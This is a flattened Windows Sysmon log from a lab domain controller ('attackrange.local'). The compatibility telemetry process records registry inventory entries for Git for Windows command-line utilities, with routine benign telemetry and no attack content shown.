14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locale.exe|5d75359b8fae4864\BinProductVersion(Empty) 13241300x800000000000000037065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locale.exe|5d75359b8fae4864\LinkDate03/26/2021 22:24:39 13241300x800000000000000037064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locale.exe|5d75359b8fae4864\Publisher(Empty) 13241300x800000000000000037063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\locale.exe|5d75359b8fae4864\LowerCaseLongPathc:\program files\git\usr\bin\locale.exe 13241300x800000000000000037062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ln.exe|79dda9f517ff22bc\BinProductVersion(Empty) 13241300x800000000000000037061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ln.exe|79dda9f517ff22bc\LinkDate01/01/1970 00:00:00 13241300x800000000000000037060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ln.exe|79dda9f517ff22bc\Publisher(Empty) 13241300x800000000000000037059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ln.exe|79dda9f517ff22bc\LowerCaseLongPathc:\program files\git\usr\bin\ln.exe 13241300x800000000000000037058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\link.exe|293c50e422886ac8\BinProductVersion(Empty) 13241300x800000000000000037057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\link.exe|293c50e422886ac8\LinkDate01/01/1970 00:00:00 13241300x800000000000000037056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\link.exe|293c50e422886ac8\Publisher(Empty) 13241300x800000000000000037055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\link.exe|293c50e422886ac8\LowerCaseLongPathc:\program files\git\usr\bin\link.exe 13241300x800000000000000037054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lesskey.exe|6d817558b9a5216\BinProductVersion(Empty) 13241300x800000000000000037053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lesskey.exe|6d817558b9a5216\LinkDate01/01/1970 00:00:00 13241300x800000000000000037052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lesskey.exe|6d817558b9a5216\Publisher(Empty) 13241300x800000000000000037051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lesskey.exe|6d817558b9a5216\LowerCaseLongPathc:\program files\git\usr\bin\lesskey.exe 13241300x800000000000000037050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lessecho.exe|3b7a4aa7df4af94e\BinProductVersion(Empty) 13241300x800000000000000037049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lessecho.exe|3b7a4aa7df4af94e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lessecho.exe|3b7a4aa7df4af94e\Publisher(Empty) 13241300x800000000000000037047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\lessecho.exe|3b7a4aa7df4af94e\LowerCaseLongPathc:\program files\git\usr\bin\lessecho.exe 13241300x800000000000000037046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\less.exe|a02ef69e95f97e25\BinProductVersion(Empty) 13241300x800000000000000037045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\less.exe|a02ef69e95f97e25\LinkDate01/01/1970 00:00:00 13241300x800000000000000037044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\less.exe|a02ef69e95f97e25\Publisher(Empty) 13241300x800000000000000037043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\less.exe|a02ef69e95f97e25\LowerCaseLongPathc:\program files\git\usr\bin\less.exe 13241300x800000000000000037042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldh.exe|da4d63a2fca071c0\BinProductVersion(Empty) 13241300x800000000000000037041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.386{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldh.exe|da4d63a2fca071c0\LinkDate03/26/2021 22:24:41 13241300x800000000000000037040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldh.exe|da4d63a2fca071c0\Publisher(Empty) 13241300x800000000000000037039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldh.exe|da4d63a2fca071c0\LowerCaseLongPathc:\program files\git\usr\bin\ldh.exe 13241300x800000000000000037038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldd.exe|15068ec08ef3ecfc\BinProductVersion(Empty) 13241300x800000000000000037037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldd.exe|15068ec08ef3ecfc\LinkDate03/26/2021 22:24:39 13241300x800000000000000037036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldd.exe|15068ec08ef3ecfc\Publisher(Empty) 13241300x800000000000000037035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ldd.exe|15068ec08ef3ecfc\LowerCaseLongPathc:\program files\git\usr\bin\ldd.exe 13241300x800000000000000037034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kill.exe|4bade27621c021e4\BinProductVersion(Empty) 13241300x800000000000000037033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kill.exe|4bade27621c021e4\LinkDate03/26/2021 22:24:39 13241300x800000000000000037032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kill.exe|4bade27621c021e4\Publisher(Empty) 13241300x800000000000000037031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kill.exe|4bade27621c021e4\LowerCaseLongPathc:\program files\git\usr\bin\kill.exe 13241300x800000000000000037030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kbxutil.exe|1308e71e0c8d3207\BinProductVersion(Empty) 13241300x800000000000000037029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kbxutil.exe|1308e71e0c8d3207\LinkDate01/01/1970 00:00:00 13241300x800000000000000037028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kbxutil.exe|1308e71e0c8d3207\Publisher(Empty) 13241300x800000000000000037027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\kbxutil.exe|1308e71e0c8d3207\LowerCaseLongPathc:\program files\git\usr\bin\kbxutil.exe 13241300x800000000000000037026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\join.exe|dc913e518f010b9e\BinProductVersion(Empty) 13241300x800000000000000037025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\join.exe|dc913e518f010b9e\LinkDate01/01/1970 00:00:00 13241300x800000000000000037024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\join.exe|dc913e518f010b9e\Publisher(Empty) 13241300x800000000000000037023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\join.exe|dc913e518f010b9e\LowerCaseLongPathc:\program files\git\usr\bin\join.exe 13241300x800000000000000037022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\install.exe|6fbae492ae887311\BinProductVersion(Empty) 13241300x800000000000000037021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\install.exe|6fbae492ae887311\LinkDate01/01/1970 00:00:00 13241300x800000000000000037020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\install.exe|6fbae492ae887311\Publisher(Empty) 13241300x800000000000000037019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\install.exe|6fbae492ae887311\LowerCaseLongPathc:\program files\git\usr\bin\install.exe 13241300x800000000000000037018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infotocap.exe|b30daf4370dfb24c\BinProductVersion(Empty) 13241300x800000000000000037017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infotocap.exe|b30daf4370dfb24c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infotocap.exe|b30daf4370dfb24c\Publisher(Empty) 13241300x800000000000000037015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infotocap.exe|b30daf4370dfb24c\LowerCaseLongPathc:\program files\git\usr\bin\infotocap.exe 13241300x800000000000000037014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infocmp.exe|bf56519423b7f5b4\BinProductVersion(Empty) 13241300x800000000000000037013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infocmp.exe|bf56519423b7f5b4\LinkDate01/01/1970 00:00:00 13241300x800000000000000037012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infocmp.exe|bf56519423b7f5b4\Publisher(Empty) 13241300x800000000000000037011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\infocmp.exe|bf56519423b7f5b4\LowerCaseLongPathc:\program files\git\usr\bin\infocmp.exe 13241300x800000000000000037010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\id.exe|58d5aeed1760e581\BinProductVersion(Empty) 13241300x800000000000000037009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\id.exe|58d5aeed1760e581\LinkDate01/01/1970 00:00:00 13241300x800000000000000037008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\id.exe|58d5aeed1760e581\Publisher(Empty) 13241300x800000000000000037007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\id.exe|58d5aeed1760e581\LowerCaseLongPathc:\program files\git\usr\bin\id.exe 13241300x800000000000000037006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\iconv.exe|aa01f87ce2558a5a\BinProductVersion(Empty) 13241300x800000000000000037005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\iconv.exe|aa01f87ce2558a5a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\iconv.exe|aa01f87ce2558a5a\Publisher(Empty) 13241300x800000000000000037003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\iconv.exe|aa01f87ce2558a5a\LowerCaseLongPathc:\program files\git\usr\bin\iconv.exe 13241300x800000000000000037002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|87d3101f283dd346\BinProductVersion(Empty) 13241300x800000000000000037001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|87d3101f283dd346\LinkDate01/01/1970 00:00:00 13241300x800000000000000037000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|87d3101f283dd346\Publisher(Empty) 13241300x800000000000000036999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|87d3101f283dd346\LowerCaseLongPathc:\program files\git\usr\bin\hostname.exe 13241300x800000000000000036998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|810b252b242085fc\BinProductVersion(Empty) 13241300x800000000000000036997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|810b252b242085fc\LinkDate06/19/2025 15:30:53 13241300x800000000000000036996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|810b252b242085fc\Publisher(Empty) 13241300x800000000000000036995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostname.exe|810b252b242085fc\LowerCaseLongPathc:\program files\git\usr\lib\gettext\hostname.exe 13241300x800000000000000036994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostid.exe|6d4143f0897c8d41\BinProductVersion(Empty) 13241300x800000000000000036993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.371{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\hostid.exe|6d4143f0897c8d41\LinkDate01/01/1970 00:00:00 13241300x800000000000000036992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 